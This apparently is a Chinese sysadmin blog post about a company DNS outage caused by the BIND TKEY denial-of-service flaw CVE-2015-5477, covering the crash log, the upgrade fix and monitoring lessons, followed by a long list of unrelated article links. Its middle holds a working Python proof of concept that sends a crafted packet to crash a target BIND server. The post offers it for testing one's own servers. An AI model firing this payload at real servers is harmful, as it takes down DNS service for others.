公司DNS被攻击及解决办法
时间:2022-05-03
本文章向大家介绍公司DNS被攻击及解决办法,主要内容包括问题现象、解决办法、事后总结、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。
DNS服务器被攻击 今天给大家说说我们的DNS服务器被攻击及解决办法。
问题现象
今天上午10:30左右,公司的DNS服务器被攻击,导致平台部分服务不能访问。这时最先报警的是Zabbix,报出大量的主机宕机了。接到Zabbix报警后,赶紧登陆一台被监控节点,发现Zabbix agent进程是存在的,但是不能ping通Zabbix server节点,说明DNS出现了问题。
登陆DNS服务器,发现bind进程已经不存在了。赶紧查看日志,发现有如下的错误:
03-Jan-2017 10:28:22.208 general: critical: message.c:2335: REQUIRE(*name == ((void *)0)) failed, back trace
03-Jan-2017 10:28:22.208 general: critical: #0 0x417a3b in assertion_failed()+0x4b
03-Jan-2017 10:28:22.208 general: critical: #1 0x5d04ba in isc_assertion_failed()+0xa
03-Jan-2017 10:28:22.208 general: critical: #2 0x4afd13 in dns_message_findname()+0x143
03-Jan-2017 10:28:22.208 general: critical: #3 0x557d84 in dns_tkey_processquery()+0x184
03-Jan-2017 10:28:22.208 general: critical: #4 0x42ea10 in ns_query_start()+0x3c0
03-Jan-2017 10:28:22.208 general: critical: #5 0x40d44a in client_request()+0xa3a
03-Jan-2017 10:28:22.208 general: critical: #6 0x5f2dcb in run()+0x2ab
03-Jan-2017 10:28:22.208 general: critical: #7 0x348d2079d1 in _fini()+0x348cbfb139
03-Jan-2017 10:28:22.208 general: critical: #8 0x348cae886d in _fini()+0x348c4dbfd5
03-Jan-2017 10:28:22.208 general: critical: exiting (due to assertion failure)
这个就是2015年7月份爆出的CVE-2015-5477漏洞(拒绝服务漏洞),受影响的bind版本为9.x系列。由于TKEY查询的错误可导致BIND服务器发生REQUIRE断言失败并停止服务,攻击者利用漏洞可恶意构造数据包,导致TKEY记录查询错误,进而导致BIND服务器发生REQUIRE断言失败并停止服务。
解决办法
升级新版本的bind,然后进行测试,验证是否还存在此漏洞。测试脚本为:
#!/usr/bin/env python
import socket
import sys
print('CVE-2015-5477 BIND9 TKEY PoC')
if len(sys.argv) < 2:
print('Usage: ' + sys.argv[0] + ' [target]')
sys.exit(1)
print('Sending packet to ' + sys.argv[1] + ' ...')
payload = bytearray('4d 55 01 00 00 01 00 00 00 00 00 01 03 41 41 41 03 41 41 41 00 00 f9 00 ff
03 41 41 41 03 41 41 41 00 00 0a 00 ff 00 00 00 00 00 09 08 41 41 41 41 41 41 41 41'.replace(' ', '').decode('hex'))
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], 53))
print('Done.')
上面的脚本具有一定的攻击性,请大家不要随便使用。不过可以针对自己家公司的DNS服务器进行内测,如果发现有问题,则赶紧升级DNS软件。
如何做到bind进程的高可用行:
- 操作系统需要被监控(系统不监控会被打死的),监控系统是否宕机
- 进程需要做到高可用(使用supervisor来管理进程),named进程异常退出可以自动启动
- 监控named进程,进程不存在则报警
事后总结
上班第一天就遇到此问题,犹如当头一棒,让我清醒了很多。还是没有做到位,这台机器没有做任何监控。这次遇到这个问题,没有第一时间抓紧恢复,而是解决Zabbix问题。
针对上述发生的问题,汲取了如下几点经验教训:
- 遇到故障问题,抓紧时间恢复是第一要务
- 复盘故障问题,找出根本原因
- 找出解决故障或问题的办法或如何避免类似的故障
- js和native交互方法浅析
- js设计模式之惰性单例模式
- 阻止a标签的默认事件及延伸
- 《JavaScript高级程序设计》学习笔记(5)——面向对象编程
- 《JavaScript高级程序设计》学习笔记(4)——引用类型
- iOS项目——基本框架搭建
- iOS学习——键盘弹出遮挡输入框问题解决方案
- iOS项目——项目开发环境搭建
- im协议设计选型(上)
- iOS学习——UIAlertController详解
- iOS学习——获取iOS设备的各种信息
- iOS学习——属性引用self.xx与_xx的区别
- iOS学习——iOS 整体框架及类继承框架图
- iOS学习—— UINavigationController的返回按钮与侧滑返回手势的研究
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 初探线程池
- 【译】代码中如何写出更有意义的命名
- nodejs源码分析之线程
- Java String Krains 2020-08-05
- 垃圾回收相关概念 Krains 2020-08-06
- 算法—判断字符串是否为IP地址
- 基于SpringBoot的Web前后端分离开发
- 【赵渝强老师】Docker的日志
- 超全递归技巧整理,这次一起拿下递归
- [译] React 测试驱动开发:从用户故事到产品
- 计算机基础之位运算 | 按位取反
- 关于php的ini文件相关操作函数浅析
- PHP中的输出缓冲控制
- SpringCloud微服务:基于Nacos组件,整合Dubbo框架
- [译] 使用 microbundle 打包 TypeScript 组件库